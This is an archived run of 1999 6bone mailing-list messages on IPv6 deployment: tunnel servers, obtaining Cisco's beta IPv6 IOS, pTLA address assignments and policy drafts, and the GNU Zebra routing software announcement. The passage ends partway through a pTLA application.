More information about our implementation of the Tunnel
Broker idea can be found in draft-ietf-ngtrans-broker-00.txt.

Bye
Ivano



> ----------
> From: 	Ronald van der Pol RVDP[SMTP:Ronald.vanderPol@surfnet.nl]
> Sent: 	Tuesday, April 27, 1999 11:08 AM
> To: 	Marc Blanchet
> Cc: 	deployment@ipv6.org; ngtrans@sunroof.eng.sun.com; users@ipv6.org;
> 6bone@isi.edu; support@freenet6.net
> Subject: 	Re: 100th IPv6 tunnel!
> 
> On Fri, 23 Apr 1999, Marc Blanchet wrote:
> 
> > Hi,
> > 	On our IPv6 tunnel server (http://www.freenet6.net), we just hit
> today the
> > 100th client getting a (free) IPv6 tunnel!
> > 
> > 	Well, this is one kind of progress for IPv6 deployment:  We didn't
> > advertise our IPv6 tunnel server up to now, and have that much of
> tunnels. 
> 
> Congratulations! I thought your idea was to setup more tunnel servers
> in various countries. Is that still your intended setup? If so, is your
> server software available for downloading? We would like to setup a
> IPv6 tunnel service.
> 
> 	rvdp
> 
> 
> ---------------------------------------------------------------------
> The IPv6 Deployment Mailing List
> Unsubscribe by sending "unsubscribe deployment" to majordomo@ipv6.org
> 

From 6bone-owner  Tue Apr 27 05:11:30 1999
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From: Cung Nguyen <cnguyen@triton-network.com>
To: "'mitra@ukr.net'" <mitra@ukr.net>, 6bone@ISI.EDU
Subject: RE: cisco IPv6
Date: Tue, 27 Apr 1999 08:07:58 -0400
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Alexei,

Try http://www.freenet6.net and it has a link to cisco site where you
can get the ios...

Does one need the CCO account number to get the IPV6 IOS though ?  Does
any know ?

Thanks

=================
Cung Nguyen
Triton Network Systems Inc.
407.903.2052 or cnguyen@triton-network.com


> -----Original Message-----
> From:	Alexei Akimov [SMTP:mitra@ukr.net]
> Sent:	Monday, April 26, 1999 3:53 PM
> To:	6bone@ISI.EDU
> Subject:	cisco IPv6
> 
> Hi dear 6bone community!
> 
> I would like to install IPv6 on my Cisco 3620 router. 
> What IOS shall I need? Would anyone be so kind to share his
> expirience in setup?
> 
> -- 
> Wishing all the best,
> Alexei Akimov AA914-RIPE                                  Best Known
> As M1tRA
> E-Mail: mitra@ukr.net ICQ: 2655858      +380 (44) 235-85-55 UkrNet
> Ltd., Kiev

From 6bone-owner  Tue Apr 27 06:42:10 1999
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Date: Tue, 27 Apr 1999 06:34:12 -0700
To: john.sherwood@dal.ca, 6bone@ISI.EDU
From: Bob Fink <fink@es.net>
Subject: Re: cisco IPv6
In-Reply-To: <199904271003.HAA21573@Snoopy.UCIS.Dal.Ca>
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 <199904261952.WAA11392@wind.ukr.net>
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John,

At 07:03 AM 4/27/99 -0300, John Sherwood wrote:
>> >I would like to install IPv6 on my Cisco 3620 router. 
>> >What IOS shall I need? Would anyone be so kind to share his
>> >expirience in setup?
>> 
>> To start with you need the cisco betga ios for v6 that's at:
>> 
>> 	<http://www.cisco.com/kobayashi/sw-center/beta/>
>> 
>> but you will need the Cisco CCO loging and passwd for your Cisco support 
>account.
>
>Bob:
>
>Looks like you now need more than just your CCO login. There used to be a 
>page at 
>http://www.cisco.com/warp/customer/732/ipv6/download.html that would let
>you get at the IOS, but it no longer works. The page you gave us needs
>an Access Code with no indication of how you are supposed to get one.

You are right. They just told me that it's ok to use the code 'galing' to get to it.

I'll see if they mind if I also put it on the web page.


Thanks,

Bob


From 6bone-owner  Tue Apr 27 07:28:03 1999
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Subject: IPv6 on Cisco Routers
To: 6bone@ISI.EDU
Date: Tue, 27 Apr 1999 17:27:51 +0300 (EEST)
From: Alexei Akimov <mitra@ukr.net>
Organization: UkrNet Ltd. <Technical Support>
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	Hi!

I walked through www.cisco.com using my CCO account and found a link
to download the IOS with IPv6 support, but I was asked for the 'Access
Code'. Where can I obtain one?

-- 
Wishing all the best,
Alexei Akimov AA914-RIPE                                  Best Known As M1tRA
E-Mail: mitra@ukr.net ICQ: 2655858      +380 (44) 235-85-55 UkrNet Ltd., Kiev

From 6bone-owner  Tue Apr 27 10:18:59 1999
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Date: Tue, 27 Apr 1999 12:28:15 +0000 (GMT)
From: "kalvin k. lined" <k-logic@sins.net>
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To: Cung Nguyen <cnguyen@triton-network.com>
cc: "'mitra@ukr.net'" <mitra@ukr.net>, 6bone@ISI.EDU
Subject: RE: cisco IPv6
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I would contact Cisco. I have found that they appricate beta testers.


On Tue, 27 Apr 1999, Cung Nguyen wrote:

> Alexei,
> 
> Try http://www.freenet6.net and it has a link to cisco site where you
> can get the ios...
> 
> Does one need the CCO account number to get the IPV6 IOS though ?  Does
> any know ?
> 
> Thanks
> 
> =================
> Cung Nguyen
> Triton Network Systems Inc.
> 407.903.2052 or cnguyen@triton-network.com
> 
> 
> > -----Original Message-----
> > From:	Alexei Akimov [SMTP:mitra@ukr.net]
> > Sent:	Monday, April 26, 1999 3:53 PM
> > To:	6bone@ISI.EDU
> > Subject:	cisco IPv6
> > 
> > Hi dear 6bone community!
> > 
> > I would like to install IPv6 on my Cisco 3620 router. 
> > What IOS shall I need? Would anyone be so kind to share his
> > expirience in setup?
> > 
> > -- 
> > Wishing all the best,
> > Alexei Akimov AA914-RIPE                                  Best Known
> > As M1tRA
> > E-Mail: mitra@ukr.net ICQ: 2655858      +380 (44) 235-85-55 UkrNet
> > Ltd., Kiev
> 


	k-logic / http://todiefor.com / k-logic@todiefor.com

	"For a good time ping 206.152.181.28."	


From 6bone-owner  Tue Apr 27 12:09:22 1999
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Date: Tue, 27 Apr 1999 15:03:33 -0400
To: Ronald van der Pol RVDP <Ronald.vanderPol@surfnet.nl>
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: Re: (ngtrans) Re: 100th IPv6 tunnel!
Cc: deployment@ipv6.org, ngtrans@sunroof.eng.sun.com, users@ipv6.org,
        6bone@ISI.EDU, support@freenet6.net
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At 11:08 99-04-27 +0200, Ronald van der Pol RVDP wrote:
>On Fri, 23 Apr 1999, Marc Blanchet wrote:
>
>> Hi,
>> 	On our IPv6 tunnel server (http://www.freenet6.net), we just hit today the
>> 100th client getting a (free) IPv6 tunnel!
>> 
>> 	Well, this is one kind of progress for IPv6 deployment:  We didn't
>> advertise our IPv6 tunnel server up to now, and have that much of tunnels. 
>
>Congratulations! I thought your idea was to setup more tunnel servers
>in various countries. Is that still your intended setup? 

well. the first person who developed that concept is Alain Durand. In his
concept,
a tunnel broker receive requests from users and tunnels servers actually do the
tunnels. This model has been coded by Ivano and his friends. You probably
see his offer for his source code.
go get it!

What we implemented is more simpler: the same server is receiving the
requests from the users and make the tunnels to the clients.
We got request from many people to have our source code to setup servers in
the world. 
We have been very busy since Minneapolis but it is on our priority to
release the software.
in the mean time, we just add new client platforms and linux client is
going to be released soon.

So if you are interested in our "simpler" implementation, drop me an email
and I'll make sure you receive it
when it is released.

Regards, Marc.


>If so, is your
>server software available for downloading? We would like to setup a
>IPv6 tunnel service.
>
>	rvdp
>


-----------------------------------------------------------
Marc Blanchet			| Marc.Blanchet@viagenie.qc.ca
Viagénie inc.			| http://www.viagenie.qc.ca
3107 des hôtels		| tél.: 418-656-9254 
Ste-Foy, Québec		| fax.: 418-656-0183
Canada, G1W 4W5		| radio: VA2-JAZ
------------------------------------------------------------
Internet Engineering Standards/Normes d'ingénierie Internet
               http://www.normos.org
------------------------------------------------------------


From 6bone-owner  Tue Apr 27 22:12:10 1999
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To: 6bone@ISI.EDU
Subject: Meeting with JPNIC
From: Kazu Yamamoto (=?iso-2022-jp?B?GyRCOzNLXE9CSScbKEI=?=)
 <kazu@iijlab.net>
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Folks,

Some members of WIDE Project and JPNIC guys had a meeting on 23 April.
The following topics were discussed.

(1) 6bone Prequalification for Sub-TLA assignment (Bob Fink)
(2) Proposed change in 6bone pTLA 3FFE usage (Bob Fink)
(3) IPv6 Assignment and Allocation Policy Document 16/04/99 (RIR)

No particular objections arose against (1) and (2), so we agree to
Bob's proposals.

And we have some comments to RTR's draft.

(a) Section 3.2 says, "It is recommended that site-local addresses
be used for all point-to-point links,".

RTRs should not encourage the usage of site-local addresses. For
point-to-point links, link-local addresses are sufficient. For
particular proposes, global addresses should be used. (Please don't
encourage Number 10 stuff.)

(b) The word "BGP" is occasionally used in this draft. We feel that
the definition of this word is not clear. BGP consists of transport
(ie.  peering) and contents (routing info). We can't understand
whether or not IPv6 is required for both transport and contents.
(Note IPv6 routing information can be exchanged over BGP/TCP/IPv4
peerings.)

Moreover, we think particular protocols should not be specified. More
abstract word such as "exterior routing protocol" should be used.

(c) /35 doesn't align to the nibble boundary. So, we would like to
have considerations to DNS reverse lookups in Section 6. :-)

--Kazu

From 6bone-owner  Wed Apr 28 18:04:05 1999
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Date: Thu, 29 Apr 1999 10:55:39 +1000
To: Rute Sofia <rsofia@rccn.net>
From: Philip Smith <pfs@cisco.com>
Subject: Re: IPv6 assignment and Allocation Policy Document 
Cc: 6bone@ISI.EDU
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At 18:25 26/04/99 +0100, Rute Sofia wrote:
>
>I've read the IPv6 Assignment and Allocation Policy Document and think 
>it is quite resonable now :-), at least for what concerns the initial 
>deployment. However, I have some considerations:
>
>in point 4.2.2, "Criteria for sub-TLA Allocations in Transitional 
>Bootstrap phase", point a. states that "the requesting organization's 
>network...with at least three other public AS in the default-free zone".
>
>What is meant by "default-free zone"?

"The default free zone is made up of Internet routers which have explicit
routing information about the rest of the Internet, and therefore do not
need to use a default route."

So my understanding of 4.2.2(a) is that the requesting organisation would
be one which is receiving the full Internet routing table separately from 3
neighbouring ASes, and is therefore able to use that routing table to make
intelligent decisions about where to send IP packets.

philip
--

>I also think that it is of major importance in IPv6 to have section 6., 
>DNS and Reverse Address Mapping in the initial deployment document.
>
>There is also the question of the now pseudo-TLA: even though I suppose 
>that most of us are under the conditions of point 4.2.1, nothing is said 
>about pseudo-TLA. Do we have to request for a sub-TLA again? Or what 
>will be needed is only to renumber?
>
>	Thanks,
>		Rute Sofia
>


From 6bone-owner  Fri Apr 30 12:53:10 1999
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Date: Fri, 30 Apr 1999 15:52:32 -0400 (EDT)
From: "Michael H. Lambert" <lambert@psc.edu>
To: Bob Fink <fink@es.net>
cc: 6BONE List <6bone@ISI.EDU>
Subject: Re: new RIR IPv6 Assignment and Allocation Policy draft (16Apr99)
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I do not wish to discuss the merits of a /35 slow-start allocation.  I
would like to suggest that an initial /35 allocation could cause undue
hardship to sites already on the 6bone.  As an example, Abilene (a
backbone network for the Internet2 project) has an addressing scheme
which was developed with RFC2450 in mind.  It assumes a /29 sTLA (or a
/29 pTLA from the 6bone) and uses a 19-bit NLA field.  The NLA field is
subdivided; the high-order subfield is allocated using the left-to-right 
procedure described in Marc Blanchet's Internet Draft.  Thus, migrating
from a /29 pTLA to a /35 sTLA would require us to reengineer our
addressing.

I propose the following:  Provided that it meets the requirements for
sTLA allocation, an entity which has a 6bone pTLA allocation at the time 
of the adoption of the RIR allocation rules will be allocated a /29 sTLA 
rather than a /35 sTLA.

Fewer than 60 pTLAs have been allocated.  Doubtless not all of these
would qualify for sTLAs.  Thus the impact of allocating them /29s should 
be minimal.

Michael

+----------------------------------------------------------------------------+
| Michael H. Lambert, Network Engineer                Phone: +1 412 268-4960 |
| Pittsburgh Supercomputing Center                    FAX:   +1 412 268-8200 |
| 4400 Fifth Avenue, Pittsburgh, PA  15213            lambert@psc.edu        |
+----------------------------------------------------------------------------+


From 6bone-owner  Sun May  2 20:40:12 1999
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Date: Mon, 03 May 1999 12:44:20 +0000
From: ksb <ksbn@kt.co.kr>
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Dear members,

I'm looking for some documents or manuals
for IOS(Cisco Router/IPv6 version).
If you have some information,
please let me know about that.

Thank you.

--
  Kim, Sahng-Beom / Korea Telecom
  TEL :    +82-42-870-8322
  FAX :    +82-42-870-8329
  E-mail :  ksbn@kt.co.kr
--



From 6bone-owner  Sun May  2 22:46:13 1999
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To: Smirk35@aol.com
CC: =?iso-8859-1?Q?=B1=B9=C1=A6?= 6Bone <6bone@ISI.EDU>
Subject: Re: cisco document
References: <d7f88ea6.245e8565@aol.com>
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Dear Sir,

I could not open the web site that you wrote.
I use the Nescape 4.5.1. then the browser showed me 'Application Error'.
Would you like to send me another method to catch the information?

Thank you.


Smirk35@aol.com wrote:

> IPv6 commands could be a start for you. See attached text file from this link
>
> http://www.cisco.com/cgi-bin/tablebuild.pl
> requires a Cisco login
> access code is 'galing'.

--
  Kim, Sahng-Beom / Korea Telecom
  TEL :    +82-42-870-8322
  FAX :    +82-42-870-8329
  E-mail :  ksbn@kt.co.kr
--



From 6bone-owner  Mon May  3 07:45:16 1999
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Date: Mon, 03 May 1999 07:44:44 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: new pTLAs for ABILENE/US and FIBERTEL/AR
Cc: Bill Manning <bmanning@ISI.EDU>
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I would like to announce the assignment of two pTLAs based on review comments and follow up analysis.

---
ABILENE/US - the University Corporation for Advanced Internet Development (UCAID) high performance network backbone project to serve the Internet2 community (as does vBNS already):

	inet6num: 3FFE:3700::/24 
	netname: ABILENE

	<http://www.ip.qwest.net/~david/cgi-bin/whois?abilene> 


---
FIBERTEL/AR - a cable network Internet Service Provider in Argentina:

	inet6num: 3FFE:3800::/24 
	netname: FIBERTEL

	<http://www.ip.qwest.net/~david/cgi-bin/whois?fibertel>


---

Welcome to both networks to the 6bone backbone!

Bob


From 6bone-owner  Mon May  3 09:29:30 1999
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Date: Mon, 03 May 1999 09:28:12 -0700
To: ksbn@kt.co.kr
From: Bob Fink <fink@es.net>
Subject: Re: cisco document
Cc: 6BONE List <6bone@ISI.EDU>
In-Reply-To: <372D9A24.750ED256@kt.co.kr>
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KSBN,

At 12:44 PM 5/3/99 +0000, ksb wrote:
>Dear members,
>
>I'm looking for some documents or manuals
>for IOS(Cisco Router/IPv6 version).
>If you have some information,
>please let me know about that.


Did you know of the Cisco routing book on v6?

Internetworking Ipv6 With Cisco Routers (Computer Communications) 
by Silvano Gai 

<http://www.amazon.com/exec/obidos/ASIN/0070228361/qid=925748829/sr=1-2/002-8170121-8253215>


Bob


From 6bone-owner  Wed May  5 10:34:25 1999
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Date: Wed, 05 May 1999 10:34:16 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone Prequalification for Sub-TLA assignment - draft 3, May
  4, 1999
Cc: Kim Hubbard <kimh@arin.net>, Paul Wilson <pwilson@apnic.net>,
        Anne Lord <anne@apnic.net>, Mirjam Kuhne <mir@ripe.net>,
        Daniel Karrenberg <daniel@ripe.net>,
        Brian E Carpenter <brian@hursley.ibm.com>,
        Bob Hinden <hinden@iprg.nokia.com>, Steve Deering <deering@cisco.com>,
        Tony Hain <tonyhain@microsoft.com>,
        Alain Durand <Alain.Durand@imag.fr>, Randy Bush <randy@psg.com>,
        Bert Wijnen <WIJNEN@VNET.IBM.COM>
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6bone Folk, 

The 6bone has finished a review of the 2nd draft of the "6bone Prequalification for Sub-TLA assignment", with mostly commentary about the issues of how tough or easy to be in handing out addresses, whether one should use the existing registries, whether the price is fair, etc. Nothing in these comments has suggested any specific changes to the draft (please correct me if I'm wrong).

Below is the 3rd draft of the 6bone Prequalification for sub-TLA assignment. I have fixed the time lines and number of participating sites, and cleaned up the text to make it more like a finalized procedure. 

At this stage, I would like to let this draft wait until we see the finalization of the "IPv6 ASSIGNMENT AND ALLOCATION POLICY DOCUMENT" and have to institute our 6bone prequalification process in fact (presumably as some existing pTLAs ask for 6bone fitness reports supporting their requests for sub-TLA allocations from the RIRs).


In addition, the "IPv6 ASSIGNMENT AND ALLOCATION POLICY DOCUMENT" (5th draft 16 April 1999) was released that refers to the use of the 6bone for a "4.2.2 Criteria for sub-TLA Allocations in Transitional "Bootstrap" Phase" which I have copied here:

>OR d. The requesting organization must demonstrate that it has experience 
>with IPv6 through active use of a pseudo-TLA (pTLA) registered to it for at 
>least six months prior to requesting a sub-TLA. The regional IRs may require 
>documentation of acceptable 6Bone routing policies and practice from the 
>requesting organization. 

I have requested they change this as follows:

>Maybe it should be "The requesting organization must demonstrate that it has 
>experience with IPv6 through active participation in the 6bone for 6 months, 
>with at least 3 months of that operating as a pseudo-TLA (pTLA), prior to 
>being allocated a sub-TLA." to be consistent with the current 6bone prequal 
>process we have agreed on so far.


Thanks,

Bob

------------------
6bone Prequalification for Sub-TLA Assignment - 3rd draft 2, May 4, 1999 -
Bob Fink

The following describes how the 6bone is used as a prequalification step 
during the "bootstrap" phase of sub-TLA assignment by the Regional 
Internet Registries (RIRs):

It is predicated on the following facts:

F1. The 6bone community represents the world-wide IPv6 operational
networking community as of early 1999, including all existing IPv6
providers and users in the world, operating under the only IPv6 address
allocation and authority in place at that time, i.e., the 3FFE::/16
allocation to the 6bone under RFC 2471 ("IPv6 Testing Address Allocation")
<ftp://ftp.isi.edu/in-notes/rfc2471.txt>.

F2. The 6bone has a well defined address structure underneath the RFC 2471
allocation for high-level (top tier) transit service providers, known as a
Pseudo-TLA (pTLA), that all the known top level IPv6 transit providers are
part of. See <http://www.6bone.net/6bone-testv2-addr-usage.html> for
documentation of the pTLA structure.

F3. The 6bone process for becoming a Pseudo-TLA (pTLA) is well defined and
accepted by the 6bone community. See Informational RFC 2546 
<ftp://ftp.isi.edu/in-notes/rfc2546.txt> Section 7 for current Guidelines
for 6Bone pTLA sites.

F4. The 6bone community as a whole is willing to provide their knowledge,
experience and opinions as part of a process to help "bootstrap" the
sub-TLA address allocation process for the RIRs.

===
6bone Prequalification for sub-TLAs 

S1. The sub-TLA requestor (sTR) places their sub-TLA request with the
appropriate RIR and declares that they intend to use the 6bone
prequalification process (6PP). (Optional, based on RIR policy.)

S2. The sTR notifies the 6bone list of their intent to use
the 6PP. (This assists the 6bone in establishing the time of first
contact starting the process, but does not constitute the actual start 
of participation in the 6bone.)

S3. The sTR follows the published process for becoming a pTLA. This
process is documented by [RFC 2546] Section 7. The minimum time from first 
joining the 6bone as an end-site network to becoming a pTLA is set as 
3 months. 

S4. After the sTR has been approved as a pTLA, and operating as a pTLA for
at least 3 months with at least 3 customers (either lower level transits or
end-sites), the pTR petitions the 6bone mailing list for support of its 
request for a sub-TLA based on its performance as a pTLA, providing 
relevant proof or statement of how and/or why they believe they have met 
current 6bone backbone practices (currently as in RFC 2546).

S5. A 6bone steering group (consisting of 3-5 persons established by 6bone
participant consensus) prepares a short 6bone fitness report (6FR) based 
on input received from 6bone participants, and factual information of 
compliance with established pTLA rules extant at the time (currently RFC 
2546). It then submits the 6FR to the appropriate regsitry. 
Note that 6bone participant means members of pTLA, pNLA or end-site 
organizations, not mailing list subscribers.

S6. If after two months of petitioning the 6bone mailing list (S4. above) 
for support of its sub-TLA request with no response, the sTR may notify 
the appropriate RIR of 6bone non-responsiveness and ask for the RIR to 
proceed without a 6FR. (It is up to the RIR to decide what to do next, 
including the decision that the sTR's experience with the 6bone qualifies 
it for a sTLA allocation.)

S7. After assignment of an sub-TLA to the sTR (by the RIR), the sTR may
optionally renumber from the 6bone pTLA prefeix to the sub-TLA prefix, or
continue use of their pTLA. If the pTLA space becomes over subscribed, the
most likely networks to be asked to surrender their pTLA would be those
holding production TLA/sub-TLA prefix space.

===
Misc. Notes:

N1. Currently the RFC 2546 doc is being reworked under the 6bone hardening
process now underway, which will almost certainly yield a stronger set of
rules on what it takes to operate as a pTLA.

N2. The current RFC 2546 doc does not specify a prequalification time as a
pNLA or end-site 6bone site prior to requesting a pTLA. Thus these 
prequalification rules have established the minimum time of 3 months from 
first joining the 6bone as an end-site network to becoming a pTLA.

N3. In S6. above, the total time from start of the 6PP until a protest
could be made to the RIR, would be in the 8 months minimum (3 mos.
while becoming a pTLA, 3 mos. while a pTLA, plus 2 mos.).

N4. Some existing pTLA sites should not be allocated a sub-TLA as they are 
not production networks, rather they were created to "bootstrap" the 6bone 
or help a specific testing user community. The decision on what pTLA may 
or may not qualify for a sub-TLA is left to the process outlined above, 
and the RIR processes for allocating sub-TLAs.

-end




From 6bone-owner  Wed May  5 11:47:33 1999
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From: "Latif LADID ( latif.ladid@tbit.dk)" <Latif.LADID@village.uunet.lu>
Reply-To: "latif.ladid@tbit.dk" <latif.ladid@tbit.dk>
To: "'IPv6 Deployment List'" <deployment@ipv6.org>,
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Subject: Jim Bound
Date: Wed, 5 May 1999 20:41:57 +0200
Organization: Telebit Communications A/S
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I guess everybody is missing the famous emails from Jim these days!

I just wanted to let you know that Jim had to undergo a light operation
( Appendix removal ) two weeks ago and would need a bit of time to recover.

Let's wish Jim quick recovery as the deployment momentum needs him to pick it 
up again where he left it!

/Latif


From 6bone-owner  Wed May  5 16:43:57 1999
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Date: Wed, 05 May 1999 16:27:44 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: Proposed change in 6bone pTLA 3FFE usage - 2nd (final?) version
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6bone Folk,

I recently proposed changing the pTLA 3FFE:/16 usage to allow future growth as the 6bone becomes used more for production. The current usage specifices an 8-bit pTLA (prefix 3FFE:xx00::/24), thus only providing for 256 pTLAs, of which 57 are currently in use. 

The proposed change was to leave the lower half of the space usage as is (at least for now):

	3FFE:0000::/24 thru 3FFE:7F00::/24  old 8-bit pTLA space

and starting at this point change to a 13-bit pTLA:

	3FFE:8000::/29 thru 3FFE:FFF8::/29  new 13-bit pTLA space

Also, concern had been expressed about the odd bit size of the /29 in terms of implementing the reverse DNS path, so there was the possibility of making the new space fall on an nibble bit size boundary, say a /28 or /32.


Comments generally seem to favor setting the new pTLA space at /28 on the grounds that 2048 pTLAs (half of a 12-bit pTLA space) is big enough, and that it makes the reverse path easier to specify for now. There was also a comment requesting that we don't require 8-bit pTLAs to convert to the newer pTLA space. 


Thus I would like to change the proposal as follows.

The old 8-bit pTLA space will be reduced to use of the lower half of the space:

	3FFE:0000::/24 thru 3FFE:7F00::/24  old 8-bit pTLA space

and starting at this point change to a 12-bit pTLA:

	3FFE:8000::/28 thru 3FFE:FFF0::/28  new 12-bit pTLA space

I would also like to leave existing 8-bit pTLAs in place for the indefinite future. This issue can be reconsidered in the future as usage of the new 12-bit space dictates. 

It should also be noted that there is no planned policy at this time for requiring pTLA holders that acquire a TLA or sub-TLA allocation to renumber out of their pTLA. This issue can also be reconsidered in the future as usage of the new 12-bit space dictates. 


I would like to cease the allocation of /24 8-bit pTLAs at this time, and move to the new /28 space. Hearing no convincing arguments to the contrary, I will assign the next pTLA as a /28. As there are no outstanding pTLA requests in the queue, it makes at least a two week delay in implementing this. Comments to the list please.


Thanks,

Bob



From 6bone-owner  Wed May  5 21:46:13 1999
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Message-ID: <005f01be977a$2b3265c0$1000e818@fibertel.com.ar>
From: "Patricio Latini" <platini@fibertel.com.ar>
To: "6BONE List" <6bone@ISI.EDU>
Cc: "Bob Fink" <fink@es.net>
Subject: Re: Proposed change in 6bone pTLA 3FFE usage - 2nd (final?) version
Date: Thu, 6 May 1999 01:37:37 -0300
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I think that it is a good idea to decrease the network size for the new
pTLAs, it gives the opportunity to more organizations can be pTLA.

I think that it's ok.

Patricio Latini
Fibertel TCI2

----- Original Message -----
From: Bob Fink <fink@es.net>
To: 6BONE List <6bone@ISI.EDU>
Sent: Miércoles 5 de Mayo de 1999 20:27
Subject: Proposed change in 6bone pTLA 3FFE usage - 2nd (final?) version


>6bone Folk,
>
>I recently proposed changing the pTLA 3FFE:/16 usage to allow future growth
as the 6bone becomes used more for production. The current usage specifices
an 8-bit pTLA (prefix 3FFE:xx00::/24), thus only providing for 256 pTLAs, of
which 57 are currently in use.
>
>The proposed change was to leave the lower half of the space usage as is
(at least for now):
>
> 3FFE:0000::/24 thru 3FFE:7F00::/24  old 8-bit pTLA space
>
>and starting at this point change to a 13-bit pTLA:
>
> 3FFE:8000::/29 thru 3FFE:FFF8::/29  new 13-bit pTLA space
>
>Also, concern had been expressed about the odd bit size of the /29 in terms
of implementing the reverse DNS path, so there was the possibility of making
the new space fall on an nibble bit size boundary, say a /28 or /32.
>
>
>Comments generally seem to favor setting the new pTLA space at /28 on the
grounds that 2048 pTLAs (half of a 12-bit pTLA space) is big enough, and
that it makes the reverse path easier to specify for now. There was also a
comment requesting that we don't require 8-bit pTLAs to convert to the newer
pTLA space.
>
>
>Thus I would like to change the proposal as follows.
>
>The old 8-bit pTLA space will be reduced to use of the lower half of the
space:
>
> 3FFE:0000::/24 thru 3FFE:7F00::/24  old 8-bit pTLA space
>
>and starting at this point change to a 12-bit pTLA:
>
> 3FFE:8000::/28 thru 3FFE:FFF0::/28  new 12-bit pTLA space
>
>I would also like to leave existing 8-bit pTLAs in place for the indefinite
future. This issue can be reconsidered in the future as usage of the new
12-bit space dictates.
>
>It should also be noted that there is no planned policy at this time for
requiring pTLA holders that acquire a TLA or sub-TLA allocation to renumber
out of their pTLA. This issue can also be reconsidered in the future as
usage of the new 12-bit space dictates.
>
>
>I would like to cease the allocation of /24 8-bit pTLAs at this time, and
move to the new /28 space. Hearing no convincing arguments to the contrary,
I will assign the next pTLA as a /28. As there are no outstanding pTLA
requests in the queue, it makes at least a two week delay in implementing
this. Comments to the list please.
>
>
>Thanks,
>
>Bob
>
>


From 6bone-owner  Thu May  6 09:24:53 1999
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From: "Latif LADID ( latif.ladid@tbit.dk)" <Latif.LADID@village.uunet.lu>
Reply-To: "latif.ladid@tbit.dk" <latif.ladid@tbit.dk>
To: "'IPv6 Deployment List'" <deployment@ipv6.org>,
        "'ngtrans@sunroof.eng.sun.com'" <ngtrans@sunroof.eng.sun.com>,
        "'6BONE List'" <6bone@ISI.EDU>, "'users@ipv6.org'" <users@ipv6.org>
Subject: Networking for New Ways of Work
Date: Thu, 6 May 1999 18:19:38 +0200
Organization: Telebit Communications A/S
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Call for Papers

The 5th European Union Framework Programme is organizing in conjunction with 
IDC ' 99 and Telework 99 the

4th International Distributed Conference

- Sep 22-23 - in Madrid

the program chair is Dr. Sathya Rao.

Please contact Sathya directly if you wish to contribute, see also
www.telscom.ch/IDC99

R,
/Latif


From 6bone-owner  Thu May  6 11:27:45 1999
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Date: Fri, 07 May 1999 03:10:01 +0900
Message-ID: <14129.56057.489599.72159A@pj.zebra.org>
From: Kunihiro Ishiguro <kunihiro@zebra.org>
To: 6bone@ISI.EDU
Subject: GNU Zebra -- Free Routing Software for IPv6
User-Agent: Wanderlust/0.10.0 (Got My Mind Set On You) SEMI/1.13.3 (Komaiko) FLIM/1.12.5 (Hirahata) Emacs/20.3.8 (i586-pc-linux-gnu) MULE/4.0 (HANANOEN)
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Hi, this is Kunihiro Ishiguro of Digital Magic Labs, Inc.

I hereby announce the development of `GNU Zebra' is going on.  Zebra
is the one of the official component of the GNU System and distributed
under GNU General Public License.  Some organizations are already
connecting to 6bone using Zebra.  Zebra features are listed below:

  o Zebra is a routing software which is made from collection of
    daemons such as `zebra',`ripd',`ripngd',`ospfd',`ospf6d',`bgpd'.
    `zebra' is kernel dependent routine daemon.  Others are for
    routing protocol management.
  o Zebra has (very) CISCO like configuration file.  So you may can
    configure it easily ;-).
  o Terminal interface has Emacs like command line editing, history,
    exelent completion and help.
  o `access-list', `distribute-list', `ip prefix-list', `route-map'
    are supported.
  o All configuration can be dynamically changed from terminal
    interface.
  o You can make new routing protocol daemen very easily by using
    Zebra protocol and library.
  o Off course IPv6 routing protocols supported.

Currently Zebra runs on below platforms:

  GNU/Linux 2.0.X, GNU/Linux 2.2.X, FreeBSD 2.2.X, FreeBSD 3.X, 
  FreeBSD 4.X, NetBSD 1.3, OpenBSD 2.4

And also IPv6 stack such as 

  GNU/Linux 2.2, INRIA IPv6, NRI IPv6, KAME

are supported.

Now Zebra speaks below routing protocols:

  o RIP version 2 support.
  o RIPng support.
  o BGP-4 support.
  o BGP-4+ support.
  o OSPF and OSPF for IPv6 is not yet finished but partly working.

Please note Zebra is still under development and there is no release
in the past.  You can get beta version from

  ftp://ftp.zebra.org/pub/zebra/

Any comments and suggestions are welcome.  Please send them to the
Zebra discussion list <zebra@zebra.org>.  Please send bug report to
Zebra bug report list <bug-zebra@gnu.org>.  If you think Zebra is
useful I'm very happy with it.
--
Kunihiro Ishiguro <kunihiro@zebra.org>
Zebra home page <http://www.zebra.org/>

From 6bone-owner  Thu May  6 19:15:22 1999
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Date: Fri, 7 May 1999 12:15:13 +1000 (EST)
From: Peter Tattam <peter@jazz-1.trumpet.com.au>
To: 6bone@ISI.EDU
Subject: Application for pTLA (fwd)
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---------- Forwarded message ----------
Date: Fri, 7 May 1999 11:32:57 +1000 (EST)
From: Peter Tattam <peter@jazz-1.trumpet.com.au>
To: Bob Fink <fink@es.net>
Subject: Application for pTLA

Trumpet Software International would like to apply for a pTLA on the
6bone.  I believe we meet the guidelines


7 Guidelines for 6Bone pTLA sites

   6Bone pTLA sites are altogether forming the backbone of the 6Bone. In order
   to ensure the highest level possible of availability and stability for the
   6Bone environment, a few constraints are placed onto sites wishing to
   become or stay a 6Bone pTLA:

   1. The site MUST have experience with IPv6 on the 6Bone, at least as
      a leaf site and preferably as a transit pNLA under an existing pTLA.

We have been operating as a leaf and then as an NLA for some time.  We
have suballocations of the NLA to a select group of Australian users.  I
am also dual homed to Sprint and VBNS.  I have been pleased to supply
interim access to the 6bone for AARNet. 

   2. The site MUST have the ability and intent to provide "production-
      like" 6Bone backbone service to provide a robust and operationally
      reliable 6Bone backbone.

We currently run an ISP in the state of Tasmania, Australia.  We are
commited to progress to provide IPv6 service whenever as soon as is
practical.


   3. The  site MUST have a potential "user community" that  would  be
      served by becoming a pTLA, e.g., the requester is a major player in a
      region, country or focus of interest.

We have a small ISP in our state called TrumpNet with around 4000 or so
customers.  We have 3 direct pops which cover the state plus a wholesale
internet service from two other larger providers which allows local call
access from anywhere in Australia (at a cost).  Our backbone is limited in
that it only goes to four physical locations. While our ISP is fairly well
connected with two larger ISPs, by virtue of our location, we are not at
the hub of Internet in Australia, and probably never will be. 
Potentially, all our customers could be using the 6bone right away with
the latest tunneling software that I have been working up in cooperation
